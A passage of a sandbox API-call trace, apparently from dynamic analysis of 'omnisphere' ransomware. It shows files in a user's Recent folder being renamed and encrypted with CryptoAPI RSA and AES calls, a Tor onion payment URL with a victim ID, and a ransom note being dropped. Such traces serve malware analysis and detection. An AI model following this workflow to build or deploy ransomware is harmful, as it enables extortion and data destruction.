lpNewFilePointer=0x0) returned 1 [0118.867] WriteFile (in: hFile=0x28c, lpBuffer=0x3e0d274*, nNumberOfBytesToWrite=0x524, lpNumberOfBytesWritten=0x3e0d7d4, lpOverlapped=0x0 | out: lpBuffer=0x3e0d274*, lpNumberOfBytesWritten=0x3e0d7d4*=0x524, lpOverlapped=0x0) returned 1 [0118.868] GetProcessHeap () returned 0x1600000 [0118.869] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x2a2) returned 0x16acd60 [0118.869] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\1_FD.lnk" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\1_fd.lnk"), lpNewFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\1_FD.lnk.omnisphere" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\1_fd.lnk.omnisphere")) returned 1 [0118.869] lstrcatW (in: lpString1="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\1_FD.lnk.omnisphere", lpString2=".id" | out: lpString1="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\1_FD.lnk.omnisphere.id") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\1_FD.lnk.omnisphere.id" [0118.869] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\1_FD.lnk.omnisphere.id" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\1_fd.lnk.omnisphere.id"), dwDesiredAccess=0x40000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3c0 [0118.870] WriteFile (in: hFile=0x3c0, lpBuffer=0x3e0d274*, nNumberOfBytesToWrite=0x524, lpNumberOfBytesWritten=0x3e0d25c, lpOverlapped=0x0 | out: lpBuffer=0x3e0d274*, lpNumberOfBytesWritten=0x3e0d25c*=0x524, lpOverlapped=0x0) returned 1 [0118.871] CloseHandle (hObject=0x3c0) returned 1 [0118.872] UnmapViewOfFile (lpBaseAddress=0x1480000) returned 1 [0118.872] CloseHandle (hObject=0x288) returned 1 [0118.872] SetEndOfFile (hFile=0x28c) returned 1 [0118.872] FlushFileBuffers (hFile=0x28c) returned 1 [0118.881] CloseHandle (hObject=0x28c) returned 1 [0118.881] PathRemoveFileSpecW (in: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\1_FD.lnk" | out: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent") returned 1 [0118.881] GetProcessHeap () returned 0x1600000 [0118.881] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x515) returned 0x16ad010 [0118.881] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="http://uu6issmbncd3wjkm.onion/", cchWideChar=30, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 30 [0118.881] GetProcessHeap () returned 0x1600000 [0118.881] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x1f) returned 0x1693d50 [0118.881] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="http://uu6issmbncd3wjkm.onion/", cchWideChar=30, lpMultiByteStr=0x1693d50, cbMultiByte=31, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="http://uu6issmbncd3wjkm.onion/", lpUsedDefaultChar=0x0) returned 30 [0118.881] lstrcatA (in: lpString1="", lpString2="http://uu6issmbncd3wjkm.onion/" | out: lpString1="http://uu6issmbncd3wjkm.onion/") returned="http://uu6issmbncd3wjkm.onion/" [0118.881] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="RHPZ2AXYR2V4JCIV", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0118.881] GetProcessHeap () returned 0x1600000 [0118.881] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x11) returned 0x16870e8 [0118.882] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="RHPZ2AXYR2V4JCIV", cchWideChar=16, lpMultiByteStr=0x16870e8, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="RHPZ2AXYR2V4JCIV", lpUsedDefaultChar=0x0) returned 16 [0118.882] lstrcatA (in: lpString1="http://uu6issmbncd3wjkm.onion/", lpString2="RHPZ2AXYR2V4JCIV" | out: lpString1="http://uu6issmbncd3wjkm.onion/RHPZ2AXYR2V4JCIV") returned="http://uu6issmbncd3wjkm.onion/RHPZ2AXYR2V4JCIV" [0118.882] GetProcessHeap () returned 0x1600000 [0118.882] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0xb0) returned 0x16a2308 [0118.882] PathCombineW (in: pszDest=0x16a2308, pszDir="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent", pszFile="!DECRYPT_OMNISPHERE.txt" | out: pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\!DECRYPT_OMNISPHERE.txt") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\!DECRYPT_OMNISPHERE.txt" [0118.882] GetProcessHeap () returned 0x1600000 [0118.882] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x589) returned 0x16a90e0 [0118.882] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\!DECRYPT_OMNISPHERE.txt" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\!decrypt_omnisphere.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x28c [0118.882] WriteFile (in: hFile=0x28c, lpBuffer=0x16a90e0*, nNumberOfBytesToWrite=0x588, lpNumberOfBytesWritten=0x3e0d7f4, lpOverlapped=0x0 | out: lpBuffer=0x16a90e0*, lpNumberOfBytesWritten=0x3e0d7f4*=0x588, lpOverlapped=0x0) returned 1 [0118.882] CloseHandle (hObject=0x28c) returned 1 [0118.882] GetProcessHeap () returned 0x1600000 [0118.882] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x16ad010 | out: hHeap=0x1600000) returned 1 [0118.882] GetProcessHeap () returned 0x1600000 [0118.882] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0xa6) returned 0x162cec8 [0118.882] PathCombineW (in: pszDest=0x162cec8, pszDir="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent", pszFile="unique_decrypt.key" | out: pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\unique_decrypt.key") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\unique_decrypt.key" [0118.882] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\unique_decrypt.key" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\unique_decrypt.key"), dwDesiredAccess=0x40000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x28c [0118.883] WriteFile (in: hFile=0x28c, lpBuffer=0x1647c78*, nNumberOfBytesToWrite=0x5a0, lpNumberOfBytesWritten=0x3e0d808, lpOverlapped=0x0 | out: lpBuffer=0x1647c78*, lpNumberOfBytesWritten=0x3e0d808*=0x5a0, lpOverlapped=0x0) returned 1 [0118.883] CloseHandle (hObject=0x28c) returned 1 [0118.883] GetProcessHeap () returned 0x1600000 [0118.883] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x162cec8 | out: hHeap=0x1600000) returned 1 [0118.883] GetProcessHeap () returned 0x1600000 [0118.883] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x165e048 | out: hHeap=0x1600000) returned 1 [0118.883] FindNextFileW (in: hFindFile=0x16397a8, lpFindFileData=0x3e0daa4 | out: lpFindFileData=0x3e0daa4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1fcdef07, ftCreationTime.dwHighDateTime=0x1d5826d, ftLastAccessTime.dwLowDateTime=0x1fcdef07, ftLastAccessTime.dwHighDateTime=0x1d5826d, ftLastWriteTime.dwLowDateTime=0x1fcdef07, ftLastWriteTime.dwHighDateTime=0x1d5826d, nFileSizeHigh=0x0, nFileSizeLow=0x3ec, dwReserved0=0x0, dwReserved1=0xd3, cFileName="2 yXsPUC0GNavVxC Fst.lnk", cAlternateFileName="2YXSPU~1.LNK")) returned 1 [0118.883] GetProcessHeap () returned 0x1600000 [0118.883] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0xb2) returned 0x166ab78 [0118.883] PathCombineW (in: pszDest=0x166ab78, pszDir="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent", pszFile="2 yXsPUC0GNavVxC Fst.lnk" | out: pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\2 yXsPUC0GNavVxC Fst.lnk") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\2 yXsPUC0GNavVxC Fst.lnk" [0118.883] StrStrW (lpFirst=".omnisphere", lpSrch=".lnk") returned 0x0 [0118.883] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\2 yXsPUC0GNavVxC Fst.lnk" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\2 yxspuc0gnavvxc fst.lnk"), dwDesiredAccess=0xc0000000, dwShareMode=0x5, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x28c [0118.883] GetFileSizeEx (in: hFile=0x28c, lpFileSize=0x3e0d7cc | out: lpFileSize=0x3e0d7cc*=1004) returned 1 [0118.883] GetTickCount () returned 0x115db59 [0118.883] GetTickCount () returned 0x115db59 [0118.883] GetTickCount () returned 0x115db59 [0118.883] GetTickCount () returned 0x115db59 [0118.883] GetTickCount () returned 0x115db59 [0118.884] GetTickCount () returned 0x115db59 [0118.884] GetTickCount () returned 0x115db59 [0118.884] GetTickCount () returned 0x115db59 [0118.884] GetTickCount () returned 0x115db59 [0118.884] GetTickCount () returned 0x115db59 [0118.884] GetTickCount () returned 0x115db59 [0118.884] GetTickCount () returned 0x115db59 [0118.884] GetTickCount () returned 0x115db59 [0118.884] GetTickCount () returned 0x115db59 [0118.884] GetTickCount () returned 0x115db59 [0118.884] GetTickCount () returned 0x115db59 [0118.884] GetTickCount () returned 0x115db59 [0118.884] GetTickCount () returned 0x115db59 [0118.884] GetTickCount () returned 0x115db59 [0118.884] GetTickCount () returned 0x115db59 [0118.884] GetTickCount () returned 0x115db59 [0118.884] GetTickCount () returned 0x115db59 [0118.884] GetTickCount () returned 0x115db59 [0118.884] GetTickCount () returned 0x115db59 [0118.884] GetTickCount () returned 0x115db59 [0118.884] GetTickCount () returned 0x115db59 [0118.884] GetTickCount () returned 0x115db59 [0118.884] GetTickCount () returned 0x115db59 [0118.884] GetTickCount () returned 0x115db59 [0118.884] GetTickCount () returned 0x115db59 [0118.884] GetTickCount () returned 0x115db59 [0118.884] GetTickCount () returned 0x115db59 [0118.884] CryptAcquireContextW (in: phProv=0x3e0d254, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000040 | out: phProv=0x3e0d254*=0x1668f00) returned 1 [0118.885] CryptImportKey (in: hProv=0x1668f00, pbData=0x3e0d1bc, dwDataLen=0x94, hPubKey=0x0, dwFlags=0x0, phKey=0x3e0d260 | out: phKey=0x3e0d260*=0x1639b28) returned 1 [0118.885] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x3e0d70c*, pdwDataLen=0x3e0d250*=0x75, dwBufLen=0x80 | out: pbData=0x3e0d70c*, pdwDataLen=0x3e0d250*=0x80) returned 1 [0118.885] CryptDestroyKey (hKey=0x1639b28) returned 1 [0118.885] CryptReleaseContext (hProv=0x1668f00, dwFlags=0x0) returned 1 [0118.885] CreateFileMappingW (hFile=0x28c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x3ec, lpName=0x0) returned 0x288 [0118.886] MapViewOfFile (hFileMappingObject=0x288, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x3ec) returned 0x1480000 [0118.886] CryptAcquireContextW (in: phProv=0x3e0d244, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000040 | out: phProv=0x3e0d244*=0x16682c8) returned 1 [0118.886] CryptImportKey (in: hProv=0x16682c8, pbData=0x3e0d1fc, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x3e0d254 | out: phKey=0x3e0d254*=0x1639b28) returned 1 [0118.886] CryptSetKeyParam (hKey=0x1639b28, dwParam=0x4, pbData=0x3e0d238*=0x2, dwFlags=0x0) returned 1 [0118.886] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x3e0d240*=0x10, dwBufLen=0x10 | out: pbData=0x0*, pdwDataLen=0x3e0d240*=0x10) returned 1 [0118.886] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.886] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.886] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.887] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.887] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.887] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.887] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.887] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.887] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.887] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.887] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.887] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.887] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.887] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.887] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.887] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.887] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.887] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.887] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.887] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.887] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.887] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.887] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.887] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.887] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.887] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.887] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.887] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.887] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.887] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.887] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.888] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.888] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.888] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.888] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.888] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.888] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.888] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.888] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.888] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.888] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.888] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.888] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.888] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.888] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.888] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.888] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.888] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.888] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.888] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.888] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.888] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.888] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.888] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.888] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.888] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: 